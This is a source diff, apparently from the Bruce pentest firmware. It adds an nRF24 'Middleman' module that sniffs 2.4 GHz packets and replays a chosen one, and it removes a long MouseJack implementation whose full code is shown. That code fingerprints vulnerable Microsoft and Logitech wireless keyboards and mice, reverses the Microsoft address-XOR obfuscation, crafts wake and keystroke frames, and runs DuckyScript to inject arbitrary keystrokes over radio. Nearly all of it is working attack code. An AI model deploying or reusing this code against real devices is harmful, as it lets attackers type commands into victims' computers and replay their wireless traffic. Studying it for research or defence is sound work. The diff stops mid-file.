+ NRFradio.disableCRC();
+ NRFradio.setAddressWidth(2);
+ const uint8_t promAddr[][2] = {
+ {0x55, 0x55}, {0xAA, 0xAA}, {0xA0, 0xAA},
+ {0xAB, 0xAA}, {0xAC, 0xAA}, {0xAD, 0xAA}
+ };
+ for (uint8_t i = 0; i < 6; ++i) NRFradio.openReadingPipe(i, promAddr[i]);
+ NRFradio.setDataRate(RF24_1MBPS);
+ NRFradio.setPayloadSize(MM_PKT_SIZE);
+
+ uint8_t activity[MM_CHANNELS] = {0};
+
+ tft.fillScreen(bruceConfig.bgColor);
+ tft.setTextSize(FM);
+ tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+ tft.drawCentreString("NRF Middleman", tftWidth / 2, 10, 1);
+ tft.setTextSize(FP);
+ tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
+ tft.setCursor(10, 40);
+ tft.println("Scanning channels...");
+
+ for (int scan = 0; scan < 8; scan++) {
+ for (int ch = 0; ch < MM_CHANNELS; ch++) {
+ NRFradio.setChannel(ch);
+ NRFradio.startListening();
+ delayMicroseconds(256);
+ NRFradio.stopListening();
+ if (NRFradio.testRPD()) activity[ch]++;
+ }
+ tft.fillRect(10, 58, tftWidth - 20, FP * LH, bruceConfig.bgColor);
+ tft.setCursor(10, 58);
+ tft.printf("Progress: %d%%", ((scan + 1) * 100) / 8);
+
+ if (check(EscPress)) {
+ NRFradio.stopListening();
+ return;
+ }
+ }
+
+ int bestCh = 0;
+ int bestVal = 0;
+ for (int i = 0; i < MM_CHANNELS; i++) {
+ if (activity[i] > bestVal) {
+ bestVal = activity[i];
+ bestCh = i;
+ }
+ }
+
+ int curCh = bestCh;
+ pktTotal = 0;
+ pktWIdx = 0;
+ bool redraw = true;
+ bool relayMode = false;
+ int selPkt = 0;
+
+ NRFradio.setChannel(curCh);
+ NRFradio.startListening();
+
+ while (!check(EscPress)) {
+ if (NRFradio.available()) {
+ uint8_t payload[MM_PKT_SIZE];
+ NRFradio.read(payload, MM_PKT_SIZE);
+
+ if (!isEmptyPayload(payload, MM_PKT_SIZE)) {
+ int idx = pktWIdx % MM_BUFFER;
+ memcpy(pktBuf[idx].data, payload, MM_PKT_SIZE);
+ pktBuf[idx].len = MM_PKT_SIZE;
+ pktBuf[idx].ch = curCh;
+ pktBuf[idx].ts = millis();
+ pktWIdx++;
+ if (pktTotal < MM_BUFFER) pktTotal++;
+ redraw = true;
+ }
+ }
+
+ if (redraw) {
+ tft.fillScreen(bruceConfig.bgColor);
+ tft.setTextSize(FM);
+ tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+ tft.drawCentreString("NRF Middleman", tftWidth / 2, 5, 1);
+
+ tft.setTextSize(FP);
+ tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
+ tft.setCursor(5, 26);
+ tft.printf("CH:%d (%dMHz) PKT:%d", curCh, 2400 + curCh, pktTotal);
+
+ tft.setCursor(5, 38);
+ tft.printf("Mode: %s", relayMode ? "RELAY" : "SNIFF");
+
+ int yPos = 54;
+ int maxLines = (tftHeight - yPos - 5) / (FP * LH);
+ int startI = (pktTotal > maxLines) ? pktTotal - maxLines : 0;
+
+ for (int i = startI; i < pktTotal && yPos + FP * LH < tftHeight; i++) {
+ int bIdx = i % MM_BUFFER;
+ tft.setCursor(3, yPos);
+
+ if (relayMode && i == selPkt)
+ tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
+ else
+ tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
+
+ char line[48];
+ int showBytes = min((int)pktBuf[bIdx].len, 6);
+ int pos = snprintf(line, sizeof(line), "%02d|", i);
+ for (int b = 0; b < showBytes; b++)
+ pos += snprintf(line + pos, sizeof(line) - pos, "%02X", pktBuf[bIdx].data[b]);
+
+ tft.print(line);
+ yPos += FP * LH;
+ }
+
+ tft.drawRoundRect(2, 2, tftWidth - 4, tftHeight - 4, 5, bruceConfig.priColor);
+ redraw = false;
+ }
+
+ if (check(NextPress)) {
+ if (relayMode) {
+ selPkt++;
+ if (selPkt >= pktTotal) selPkt = 0;
+ } else {
+ NRFradio.stopListening();
+ curCh++;
+ if (curCh > 125) curCh = 0;
+ NRFradio.setChannel(curCh);
+ NRFradio.startListening();
+ pktTotal = 0;
+ pktWIdx = 0;
+ }
+ redraw = true;
+ }
+
+ if (check(PrevPress)) {
+ if (relayMode) {
+ selPkt--;
+ if (selPkt < 0) selPkt = pktTotal - 1;
+ } else {
+ NRFradio.stopListening();
+ curCh--;
+ if (curCh < 0) curCh = 125;
+ NRFradio.setChannel(curCh);
+ NRFradio.startListening();
+ pktTotal = 0;
+ pktWIdx = 0;
+ }
+ redraw = true;
+ }
+
+ if (check(SelPress)) {
+ if (relayMode && pktTotal > 0) {
+ int bIdx = selPkt % MM_BUFFER;
+ NRFradio.stopListening();
+ NRFradio.openWritingPipe(promAddr[0]);
+ NRFradio.write(pktBuf[bIdx].data, pktBuf[bIdx].len);
+ NRFradio.startListening();
+ tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor);
+ tft.drawCentreString("TX!", tftWidth / 2, tftHeight / 2, 1);
+ delay(300);
+ } else {
+ relayMode = !relayMode;
+ if (relayMode && pktTotal > 0) selPkt = pktTotal - 1;
+ }
+ redraw = true;
+ }
+
+ delay(1);
+ }
+
+ NRFradio.stopListening();
+}
diff --git a/src/modules/NRF24/nrf_middleman.h b/src/modules/NRF24/nrf_middleman.h
new file mode 100644
index 000000000..0eda03ac6
--- /dev/null
+++ b/src/modules/NRF24/nrf_middleman.h
@@ -0,0 +1,8 @@
+#ifndef __NRF_MIDDLEMAN_H
+#define __NRF_MIDDLEMAN_H
+#include "modules/NRF24/nrf_common.h"
+#include
+
+void nrf_middleman();
+
+#endif
diff --git a/src/modules/NRF24/nrf_mousejack.cpp b/src/modules/NRF24/nrf_mousejack.cpp
index 8195fc743..4fa90f80f 100644
--- a/src/modules/NRF24/nrf_mousejack.cpp
+++ b/src/modules/NRF24/nrf_mousejack.cpp
@@ -1,955 +1,315 @@
-/**
- * @file nrf_mousejack.cpp
- * @brief MouseJack scan, fingerprint, and HID injection for Bruce firmware.
- *
- * Scans for vulnerable Microsoft and Logitech wireless mice/keyboards
- * using promiscuous nRF24L01+ reception, then injects HID keystrokes
- * via the same RF link.
- *
- * Credits: Based on uC_mousejack / Bastille Research / EvilMouse,
- * adapted for Bruce architecture with multi-platform input.
- */
-#if !defined(LITE_VERSION)
-#include "nrf_mousejack.h"
-#include "core/display.h"
-#include "core/mykeyboard.h"
-#include "core/sd_functions.h"
-#include
-#include
-
-// ── Tuning Constants ────────────────────────────────────────────
-static constexpr int SCAN_TRIES_PER_CH = 6;
-static constexpr int SCAN_DWELL_US = 500;
-static constexpr int ATTACK_RETRANSMITS = 5;
-static constexpr int ATTACK_INTER_KEY_MS = 10;
-
-// ── Static module state ─────────────────────────────────────────
-static MjTarget mj_targets[MJ_MAX_TARGETS];
-static uint8_t mj_targetCount = 0;
-static uint16_t mj_msSequence = 0;
-static NRF24_MODE mj_nrfMode = NRF_MODE_SPI;
-
-// ── ASCII to HID scancode lookup table ──────────────────────────
-// Maps ASCII 0x20-0x7E to {modifier, keycode}
-// Characters requiring SHIFT have MJ_MOD_LSHIFT set
-static const MjHidKey ASCII_TO_HID[] = {
- // 0x20 SPACE
- {MJ_MOD_NONE, MJ_KEY_SPACE },
- // 0x21 !
- {MJ_MOD_LSHIFT, MJ_KEY_1 },
- // 0x22 "
- {MJ_MOD_LSHIFT, MJ_KEY_QUOTE },
- // 0x23 #
- {MJ_MOD_LSHIFT, MJ_KEY_3 },
- // 0x24 $
- {MJ_MOD_LSHIFT, MJ_KEY_4 },
- // 0x25 %
- {MJ_MOD_LSHIFT, MJ_KEY_5 },
- // 0x26 &
- {MJ_MOD_LSHIFT, MJ_KEY_7 },
- // 0x27 '
- {MJ_MOD_NONE, MJ_KEY_QUOTE },
- // 0x28 (
- {MJ_MOD_LSHIFT, MJ_KEY_9 },
- // 0x29 )
- {MJ_MOD_LSHIFT, MJ_KEY_0 },
- // 0x2A *
- {MJ_MOD_LSHIFT, MJ_KEY_8 },
- // 0x2B +
- {MJ_MOD_LSHIFT, MJ_KEY_EQUAL },
- // 0x2C ,
- {MJ_MOD_NONE, MJ_KEY_COMMA },
- // 0x2D -
- {MJ_MOD_NONE, MJ_KEY_MINUS },
- // 0x2E .
- {MJ_MOD_NONE, MJ_KEY_DOT },
- // 0x2F /
- {MJ_MOD_NONE, MJ_KEY_SLASH },
- // 0x30-0x39: 0-9
- {MJ_MOD_NONE, MJ_KEY_0 }, // 0
- {MJ_MOD_NONE, MJ_KEY_1 }, // 1
- {MJ_MOD_NONE, 0x1F }, // 2
- {MJ_MOD_NONE, 0x20 }, // 3
- {MJ_MOD_NONE, 0x21 }, // 4
- {MJ_MOD_NONE, 0x22 }, // 5
- {MJ_MOD_NONE, 0x23 }, // 6
- {MJ_MOD_NONE, MJ_KEY_7 }, // 7 = 0x24
- {MJ_MOD_NONE, 0x25 }, // 8
- {MJ_MOD_NONE, 0x26 }, // 9
- // 0x3A :
- {MJ_MOD_LSHIFT, MJ_KEY_SEMICOLON},
- // 0x3B ;
- {MJ_MOD_NONE, MJ_KEY_SEMICOLON},
- // 0x3C <
- {MJ_MOD_LSHIFT, MJ_KEY_COMMA },
- // 0x3D =
- {MJ_MOD_NONE, MJ_KEY_EQUAL },
- // 0x3E >
- {MJ_MOD_LSHIFT, MJ_KEY_DOT },
- // 0x3F ?
- {MJ_MOD_LSHIFT, MJ_KEY_SLASH },
- // 0x40 @
- {MJ_MOD_LSHIFT, 0x1F }, // SHIFT+2
- // 0x41-0x5A: A-Z (uppercase = SHIFT + a-z)
- {MJ_MOD_LSHIFT, MJ_KEY_A }, // A
- {MJ_MOD_LSHIFT, MJ_KEY_A + 1 }, // B
- {MJ_MOD_LSHIFT, MJ_KEY_A + 2 }, // C
- {MJ_MOD_LSHIFT, MJ_KEY_A + 3 }, // D
- {MJ_MOD_LSHIFT, MJ_KEY_A + 4 }, // E
- {MJ_MOD_LSHIFT, MJ_KEY_A + 5 }, // F
- {MJ_MOD_LSHIFT, MJ_KEY_A + 6 }, // G
- {MJ_MOD_LSHIFT, MJ_KEY_A + 7 }, // H
- {MJ_MOD_LSHIFT, MJ_KEY_A + 8 }, // I
- {MJ_MOD_LSHIFT, MJ_KEY_A + 9 }, // J
- {MJ_MOD_LSHIFT, MJ_KEY_A + 10 }, // K
- {MJ_MOD_LSHIFT, MJ_KEY_A + 11 }, // L
- {MJ_MOD_LSHIFT, MJ_KEY_A + 12 }, // M
- {MJ_MOD_LSHIFT, MJ_KEY_A + 13 }, // N
- {MJ_MOD_LSHIFT, MJ_KEY_A + 14 }, // O
- {MJ_MOD_LSHIFT, MJ_KEY_A + 15 }, // P
- {MJ_MOD_LSHIFT, MJ_KEY_A + 16 }, // Q
- {MJ_MOD_LSHIFT, MJ_KEY_A + 17 }, // R
- {MJ_MOD_LSHIFT, MJ_KEY_A + 18 }, // S
- {MJ_MOD_LSHIFT, MJ_KEY_A + 19 }, // T
- {MJ_MOD_LSHIFT, MJ_KEY_A + 20 }, // U
- {MJ_MOD_LSHIFT, MJ_KEY_A + 21 }, // V
- {MJ_MOD_LSHIFT, MJ_KEY_A + 22 }, // W
- {MJ_MOD_LSHIFT, MJ_KEY_A + 23 }, // X
- {MJ_MOD_LSHIFT, MJ_KEY_A + 24 }, // Y
- {MJ_MOD_LSHIFT, MJ_KEY_A + 25 }, // Z
- // 0x5B [
- {MJ_MOD_NONE, MJ_KEY_LBRACKET },
- // 0x5C backslash
- {MJ_MOD_NONE, MJ_KEY_BACKSLASH},
- // 0x5D ]
- {MJ_MOD_NONE, MJ_KEY_RBRACKET },
- // 0x5E ^
- {MJ_MOD_LSHIFT, MJ_KEY_6 }, // SHIFT+6 = 0x23
- // 0x5F _
- {MJ_MOD_LSHIFT, MJ_KEY_MINUS },
- // 0x60 `
- {MJ_MOD_NONE, MJ_KEY_GRAVE },
- // 0x61-0x7A: a-z (lowercase)
- {MJ_MOD_NONE, MJ_KEY_A }, // a
- {MJ_MOD_NONE, MJ_KEY_A + 1 }, // b
- {MJ_MOD_NONE, MJ_KEY_A + 2 }, // c
- {MJ_MOD_NONE, MJ_KEY_A + 3 }, // d
- {MJ_MOD_NONE, MJ_KEY_A + 4 }, // e
- {MJ_MOD_NONE, MJ_KEY_A + 5 }, // f
- {MJ_MOD_NONE, MJ_KEY_A + 6 }, // g
- {MJ_MOD_NONE, MJ_KEY_A + 7 }, // h
- {MJ_MOD_NONE, MJ_KEY_A + 8 }, // i
- {MJ_MOD_NONE, MJ_KEY_A + 9 }, // j
- {MJ_MOD_NONE, MJ_KEY_A + 10 }, // k
- {MJ_MOD_NONE, MJ_KEY_A + 11 }, // l
- {MJ_MOD_NONE, MJ_KEY_A + 12 }, // m
- {MJ_MOD_NONE, MJ_KEY_A + 13 }, // n
- {MJ_MOD_NONE, MJ_KEY_A + 14 }, // o
- {MJ_MOD_NONE, MJ_KEY_A + 15 }, // p
- {MJ_MOD_NONE, MJ_KEY_A + 16 }, // q
- {MJ_MOD_NONE, MJ_KEY_A + 17 }, // r
- {MJ_MOD_NONE, MJ_KEY_A + 18 }, // s
- {MJ_MOD_NONE, MJ_KEY_A + 19 }, // t
- {MJ_MOD_NONE, MJ_KEY_A + 20 }, // u
- {MJ_MOD_NONE, MJ_KEY_A + 21 }, // v
- {MJ_MOD_NONE, MJ_KEY_A + 22 }, // w
- {MJ_MOD_NONE, MJ_KEY_A + 23 }, // x
- {MJ_MOD_NONE, MJ_KEY_A + 24 }, // y
- {MJ_MOD_NONE, MJ_KEY_A + 25 }, // z
- // 0x7B {
- {MJ_MOD_LSHIFT, MJ_KEY_LBRACKET },
- // 0x7C |
- {MJ_MOD_LSHIFT, MJ_KEY_BACKSLASH},
- // 0x7D }
- {MJ_MOD_LSHIFT, MJ_KEY_RBRACKET },
- // 0x7E ~
- {MJ_MOD_LSHIFT, MJ_KEY_GRAVE },
-};
-
-// ── DuckyScript key name table ──────────────────────────────────
-static const MjDuckyKey DUCKY_KEYS[] = {
- {"ENTER", MJ_MOD_NONE, MJ_KEY_ENTER },
- {"RETURN", MJ_MOD_NONE, MJ_KEY_ENTER },
- {"ESCAPE", MJ_MOD_NONE, MJ_KEY_ESC },
- {"ESC", MJ_MOD_NONE, MJ_KEY_ESC },
- {"BACKSPACE", MJ_MOD_NONE, MJ_KEY_BACKSPACE },
- {"TAB", MJ_MOD_NONE, MJ_KEY_TAB },
- {"SPACE", MJ_MOD_NONE, MJ_KEY_SPACE },
- {"CAPSLOCK", MJ_MOD_NONE, MJ_KEY_CAPSLOCK },
- {"DELETE", MJ_MOD_NONE, MJ_KEY_DELETE },
- {"INSERT", MJ_MOD_NONE, MJ_KEY_INSERT },
- {"HOME", MJ_MOD_NONE, MJ_KEY_HOME },
- {"END", MJ_MOD_NONE, MJ_KEY_END },
- {"PAGEUP", MJ_MOD_NONE, MJ_KEY_PAGEUP },
- {"PAGEDOWN", MJ_MOD_NONE, MJ_KEY_PAGEDOWN },
- {"UP", MJ_MOD_NONE, MJ_KEY_UP },
- {"UPARROW", MJ_MOD_NONE, MJ_KEY_UP },
- {"DOWN", MJ_MOD_NONE, MJ_KEY_DOWN },
- {"DOWNARROW", MJ_MOD_NONE, MJ_KEY_DOWN },
- {"LEFT", MJ_MOD_NONE, MJ_KEY_LEFT },
- {"LEFTARROW", MJ_MOD_NONE, MJ_KEY_LEFT },
- {"RIGHT", MJ_MOD_NONE, MJ_KEY_RIGHT },
- {"RIGHTARROW", MJ_MOD_NONE, MJ_KEY_RIGHT },
- {"PRINTSCREEN", MJ_MOD_NONE, MJ_KEY_PRINTSCR },
- {"SCROLLLOCK", MJ_MOD_NONE, MJ_KEY_SCROLLLOCK},
- {"PAUSE", MJ_MOD_NONE, MJ_KEY_PAUSE },
- {"BREAK", MJ_MOD_NONE, MJ_KEY_PAUSE },
- {"F1", MJ_MOD_NONE, MJ_KEY_F1 },
- {"F2", MJ_MOD_NONE, MJ_KEY_F1 + 1 },
- {"F3", MJ_MOD_NONE, MJ_KEY_F1 + 2 },
- {"F4", MJ_MOD_NONE, MJ_KEY_F1 + 3 },
- {"F5", MJ_MOD_NONE, MJ_KEY_F1 + 4 },
- {"F6", MJ_MOD_NONE, MJ_KEY_F1 + 5 },
- {"F7", MJ_MOD_NONE, MJ_KEY_F1 + 6 },
- {"F8", MJ_MOD_NONE, MJ_KEY_F1 + 7 },
- {"F9", MJ_MOD_NONE, MJ_KEY_F1 + 8 },
- {"F10", MJ_MOD_NONE, MJ_KEY_F1 + 9 },
- {"F11", MJ_MOD_NONE, MJ_KEY_F1 + 10 },
- {"F12", MJ_MOD_NONE, MJ_KEY_F12 },
- // Modifiers (keycode=NONE, only set modifier bits)
- {"CTRL", MJ_MOD_LCTRL, MJ_KEY_NONE },
- {"CONTROL", MJ_MOD_LCTRL, MJ_KEY_NONE },
- {"SHIFT", MJ_MOD_LSHIFT, MJ_KEY_NONE },
- {"ALT", MJ_MOD_LALT, MJ_KEY_NONE },
- {"GUI", MJ_MOD_LGUI, MJ_KEY_NONE },
- {"WINDOWS", MJ_MOD_LGUI, MJ_KEY_NONE },
- {"COMMAND", MJ_MOD_LGUI, MJ_KEY_NONE },
- {"MENU", MJ_MOD_NONE, 0x65 }, // HID Usage: Keyboard Application
- {"APP", MJ_MOD_NONE, 0x65 },
- {nullptr, 0, 0 } // Sentinel
-};
-
-// ── Helper: ASCII to HID ────────────────────────────────────────
-static bool mj_asciiToHid(char c, MjHidKey &out) {
- if (c < 0x20 || c > 0x7E) return false;
- out = ASCII_TO_HID[c - 0x20];
- return (out.keycode != MJ_KEY_NONE);
-}
-
-// ── CRC16-CCITT for ESB packet validation ───────────────────────
-static uint16_t mj_crcUpdate(uint16_t crc, uint8_t byte, uint8_t bits) {
- crc = crc ^ ((uint16_t)byte << 8);
- while (bits--) {
- if ((crc & 0x8000) == 0x8000) crc = (crc << 1) ^ 0x1021;
- else crc = crc << 1;
- }
- return crc & 0xFFFF;
-}
-
-// ── Target Management ───────────────────────────────────────────
-static int mj_findTarget(const uint8_t *addr, uint8_t addrLen) {
- for (uint8_t i = 0; i < mj_targetCount; i++) {
- if (mj_targets[i].active && mj_targets[i].addrLen == addrLen &&
- memcmp(mj_targets[i].address, addr, addrLen) == 0) {
- return i;
- }
- }
- return -1;
-}
-
-static int mj_addTarget(const uint8_t *addr, uint8_t addrLen, uint8_t channel, MjDeviceType type) {
- int idx = mj_findTarget(addr, addrLen);
- if (idx >= 0) {
- mj_targets[idx].channel = channel;
- return idx;
- }
- if (mj_targetCount >= MJ_MAX_TARGETS) return -1;
-
- idx = mj_targetCount++;
- memcpy(mj_targets[idx].address, addr, addrLen);
- mj_targets[idx].addrLen = addrLen;
- mj_targets[idx].channel = channel;
- mj_targets[idx].type = type;
- mj_targets[idx].active = true;
-
- Serial.printf(
- "[MJ] Target #%d: type=%d ch=%d addr=%02X:%02X:%02X:%02X:%02X\n",
- idx,
- type,
- channel,
- addr[0],
- addr[1],
- addrLen > 2 ? addr[2] : 0,
- addrLen > 3 ? addr[3] : 0,
- addrLen > 4 ? addr[4] : 0
- );
- return idx;
-}
-
-static bool mj_validateNrfMode() {
- if (!CHECK_NRF_SPI(mj_nrfMode)) {
- displayError("MouseJack needs SPI mode", true);
- return false;
- }
- return true;
-}
-
-// ── Fingerprinting ──────────────────────────────────────────────
-static void
-mj_fingerprintPayload(const uint8_t *payload, uint8_t size, const uint8_t *addr, uint8_t channel) {
- // Microsoft Mouse detection:
- // size==19 && payload[0]==0x08 && payload[6]==0x40 → unencrypted
- // size==19 && payload[0]==0x0A → encrypted
- if (size == 19) {
- if (payload[0] == 0x08 && payload[6] == 0x40) {
- mj_addTarget(addr, 5, channel, MJ_DEVICE_MICROSOFT);
- return;
- }
- if (payload[0] == 0x0A) {
- mj_addTarget(addr, 5, channel, MJ_DEVICE_MS_CRYPT);
- return;
- }
- }
-
- // Logitech detection (first byte is always 0x00):
- // size==10 && payload[1]==0xC2 → keepalive
- // size==10 && payload[1]==0x4F → mouse movement
- // size==22 && payload[1]==0xD3 → encrypted keystroke
- // size==5 && payload[1]==0x40 → wake-up
- if (payload[0] == 0x00) {
- bool isLogitech = false;
- if (size == 10 && (payload[1] == 0xC2 || payload[1] == 0x4F)) isLogitech = true;
- if (size == 22 && payload[1] == 0xD3) isLogitech = true;
- if (size == 5 && payload[1] == 0x40) isLogitech = true;
- if (isLogitech) {
- mj_addTarget(addr, 5, channel, MJ_DEVICE_LOGITECH);
- return;
- }
- }
-}
-
-static void mj_fingerprint(const uint8_t *rawBuf, uint8_t size, uint8_t channel) {
- if (size < 10) return;
-
- uint8_t buf[37];
- if (size > 37) size = 37;
- memcpy(buf, rawBuf, size);
-
- // Try both raw buffer and 1-bit right-shifted version
- // (handles both 0xAA and 0x55 preamble alignments)
- for (int offset = 0; offset < 2; offset++) {
- if (offset == 1) {
- memcpy(buf, rawBuf, size);
- for (int x = size - 1; x >= 0; x--) {
- if (x > 0) buf[x] = (buf[x - 1] << 7) | (buf[x] >> 1);
- else buf[x] = buf[x] >> 1;
- }
- }
-
- // Read payload length from PCF (upper 6 bits of byte [5])
- uint8_t payloadLength = buf[5] >> 2;
-
- if (payloadLength == 0 || payloadLength > (size - 9)) continue;
-
- // Extract and verify CRC16-CCITT
- uint16_t crcGiven = ((uint16_t)buf[6 + payloadLength] << 9) | ((uint16_t)buf[7 + payloadLength] << 1);
- crcGiven = (crcGiven << 8) | (crcGiven >> 8);
- if (buf[8 + payloadLength] & 0x80) crcGiven |= 0x0100;
-
- uint16_t crcCalc = 0xFFFF;
- for (int x = 0; x < 6 + payloadLength; x++) { crcCalc = mj_crcUpdate(crcCalc, buf[x], 8); }
- crcCalc = mj_crcUpdate(crcCalc, buf[6 + payloadLength] & 0x80, 1);
- crcCalc = (crcCalc << 8) | (crcCalc >> 8);
-
- if (crcCalc != crcGiven) continue;
-
- // CRC verified! Extract address and payload
- uint8_t addr[5];
- memcpy(addr, buf, 5);
-
- uint8_t esbPayload[32];
- for (int x = 0; x < payloadLength; x++) {
- esbPayload[x] = ((buf[6 + x] << 1) & 0xFF) | (buf[7 + x] >> 7);
- }
-
- mj_fingerprintPayload(esbPayload, payloadLength, addr, channel);
- return;
- }
-}
-
-// ── Microsoft Protocol Helpers ──────────────────────────────────
-static void mj_msChecksum(uint8_t *payload, uint8_t size) {
- uint8_t checksum = 0;
- for (uint8_t i = 0; i < size - 1; i++) checksum ^= payload[i];
- payload[size - 1] = ~checksum;
-}
-
-static void mj_msCrypt(uint8_t *payload, uint8_t size, const uint8_t *addr) {
- for (uint8_t i = 4; i < size; i++) { payload[i] ^= addr[((i - 4) % 5)]; }
-}
-
-// ── Transmit with retransmission ────────────────────────────────
-static void mj_transmitReliable(const uint8_t *frame, uint8_t len) {
- for (int r = 0; r < ATTACK_RETRANSMITS; r++) {
- NRFradio.write(frame, len, true); // multicast = no ACK wait
- }
-}
-
-static void mj_logTransmit(const MjTarget &target, uint8_t meta, const uint8_t *keys, uint8_t keysLen);
-
-static void mj_logitechWake(const MjTarget &target) {
- if (target.type != MJ_DEVICE_LOGITECH) return;
-
- // Common Logitech wake/sleep-timer packet seen in MouseJack tooling
- uint8_t hello[10] = {0x00, 0x4F, 0x00, 0x04, 0xB0, 0x10, 0x00, 0x00, 0x00, 0xED};
- mj_transmitReliable(hello, sizeof(hello));
- delay(12);
-
- // Neutral keepalive frame after wake-up
- uint8_t neutral = MJ_KEY_NONE;
- mj_logTransmit(target, MJ_MOD_NONE, &neutral, 1);
- delay(8);
-}
-
-// ── Microsoft Keystroke Transmit ────────────────────────────────
-static void mj_msTransmit(const MjTarget &target, uint8_t meta, uint8_t hid) {
- uint8_t frame[19];
- memset(frame, 0, sizeof(frame));
-
- frame[0] = 0x08;
- frame[4] = (uint8_t)(mj_msSequence & 0xFF);
- frame[5] = (uint8_t)((mj_msSequence >> 8) & 0xFF);
- frame[6] = 0x43;
- frame[7] = meta;
- frame[9] = hid;
- mj_msSequence++;
- mj_msChecksum(frame, sizeof(frame));
- if (target.type == MJ_DEVICE_MS_CRYPT) { mj_msCrypt(frame, sizeof(frame), target.address); }
-
- // Key-down
- mj_transmitReliable(frame, sizeof(frame));
- delay(5);
-
- // Key-up (null keystroke)
- if (target.type == MJ_DEVICE_MS_CRYPT) { mj_msCrypt(frame, sizeof(frame), target.address); }
- for (int n = 4; n < 18; n++) frame[n] = 0;
- frame[4] = (uint8_t)(mj_msSequence & 0xFF);
- frame[5] = (uint8_t)((mj_msSequence >> 8) & 0xFF);
- frame[6] = 0x43;
- mj_msSequence++;
- mj_msChecksum(frame, sizeof(frame));
- if (target.type == MJ_DEVICE_MS_CRYPT) { mj_msCrypt(frame, sizeof(frame), target.address); }
-
- mj_transmitReliable(frame, sizeof(frame));
- delay(5);
-}
-
-// ── Logitech Keystroke Transmit ─────────────────────────────────
-static void mj_logTransmit(const MjTarget &target, uint8_t meta, const uint8_t *keys, uint8_t keysLen) {
- uint8_t frame[10];
- memset(frame, 0, sizeof(frame));
-
- frame[0] = 0x00;
- frame[1] = 0xC1;
- frame[2] = meta;
- for (uint8_t i = 0; i < keysLen && i < 6; i++) { frame[3 + i] = keys[i]; }
-
- // Two's-complement checksum
- uint8_t cksum = 0;
- for (uint8_t i = 0; i < 9; i++) cksum += frame[i];
- frame[9] = (uint8_t)(0x100 - cksum);
-
- mj_transmitReliable(frame, sizeof(frame));
-}
-
-// ── Send single keystroke (press + release) ─────────────────────
-static void mj_sendKeystroke(const MjTarget &target, uint8_t modifier, uint8_t keycode) {
- if (target.type == MJ_DEVICE_MICROSOFT || target.type == MJ_DEVICE_MS_CRYPT) {
- mj_msTransmit(target, modifier, keycode);
- } else if (target.type == MJ_DEVICE_LOGITECH) {
- mj_logTransmit(target, modifier, &keycode, 1);
- delay(ATTACK_INTER_KEY_MS);
- uint8_t none = MJ_KEY_NONE;
- mj_logTransmit(target, MJ_MOD_NONE, &none, 1);
- }
-}
-
-// ── Type a string as keystrokes ─────────────────────────────────
-static void mj_typeString(const MjTarget &target, const char *text) {
- for (size_t i = 0; text[i] != '\0'; i++) {
- if (check(EscPress)) return;
-
- MjHidKey entry;
- char c = text[i];
- if (c == '\n') {
- entry.modifier = MJ_MOD_NONE;
- entry.keycode = MJ_KEY_ENTER;
- } else if (c == '\t') {
- entry.modifier = MJ_MOD_NONE;
- entry.keycode = MJ_KEY_TAB;
- } else if (!mj_asciiToHid(c, entry)) {
- continue;
- }
- mj_sendKeystroke(target, entry.modifier, entry.keycode);
- delay(ATTACK_INTER_KEY_MS);
- }
-}
-
-// ── DuckyScript line parser ─────────────────────────────────────
-static bool mj_parseDuckyLine(const String &line, const MjTarget &target) {
- if (line.startsWith("REM") || line.startsWith("//")) return true;
-
- if (line.startsWith("DELAY ") || line.startsWith("DELAY\t")) {
- int delayMs = line.substring(6).toInt();
- if (delayMs > 0 && delayMs <= 60000) delay(delayMs);
- return true;
- }
-
- if (line.startsWith("DEFAULT_DELAY ") || line.startsWith("DEFAULTDELAY ")) {
- return true; // Handled by caller
- }
-
- if (line.startsWith("STRING ")) {
- mj_typeString(target, line.substring(7).c_str());
- return true;
- }
-
- if (line.startsWith("STRINGLN ")) {
- mj_typeString(target, line.substring(9).c_str());
- mj_sendKeystroke(target, MJ_MOD_NONE, MJ_KEY_ENTER);
- return true;
- }
-
- if (line.startsWith("REPEAT ")) return true;
-
- // Handle key names and modifier combos
- uint8_t combinedMod = 0;
- uint8_t keycode = MJ_KEY_NONE;
- String remaining = line;
- remaining.trim();
-
- while (remaining.length() > 0) {
- int spaceIdx = remaining.indexOf(' ');
- String token;
- if (spaceIdx > 0) {
- token = remaining.substring(0, spaceIdx);
- remaining = remaining.substring(spaceIdx + 1);
- remaining.trim();
- } else {
- token = remaining;
- remaining = "";
- }
-
- // Single character key
- if (token.length() == 1) {
- MjHidKey entry;
- if (mj_asciiToHid(token.charAt(0), entry)) {
- combinedMod |= entry.modifier;
- keycode = entry.keycode;
- }
- continue;
- }
-
- // Named key/modifier lookup
- bool found = false;
- for (int i = 0; DUCKY_KEYS[i].name != nullptr; i++) {
- if (token.equalsIgnoreCase(DUCKY_KEYS[i].name)) {
- combinedMod |= DUCKY_KEYS[i].modifier;
- if (DUCKY_KEYS[i].keycode != MJ_KEY_NONE) { keycode = DUCKY_KEYS[i].keycode; }
- found = true;
- break;
- }
- }
- if (!found) {
- Serial.printf("[MJ] Ducky: unknown token '%s'\n", token.c_str());
- return false;
- }
- }
-
- mj_sendKeystroke(target, combinedMod, keycode);
- delay(ATTACK_INTER_KEY_MS);
- return true;
-}
-
-// ── Get device type label ───────────────────────────────────────
-static const char *mj_getTypeLabel(MjDeviceType type) {
- switch (type) {
- case MJ_DEVICE_MICROSOFT: return "MS";
- case MJ_DEVICE_MS_CRYPT: return "MS*";
- case MJ_DEVICE_LOGITECH: return "LG";
- default: return "??";
- }
-}
-
-// ── Format address as string ────────────────────────────────────
-static String mj_formatAddr(const MjTarget &t) {
- char buf[18];
- if (t.addrLen >= 5) {
- snprintf(
- buf,
- sizeof(buf),
- "%02X:%02X:%02X:%02X:%02X",
- t.address[0],
- t.address[1],
- t.address[2],
- t.address[3],
- t.address[4]
- );
- } else {
- snprintf(buf, sizeof(buf), "%02X:%02X", t.address[0], t.address[1]);
- }
- return String(buf);
-}
-
-// ══════════════════════════════════════════════════════════════════
-// ═══════════════ SCANNING UI ═══════════════════════════════════
-// ══════════════════════════════════════════════════════════════════
-
-static void mj_drawScanScreen(uint8_t currentCh, bool initial) {
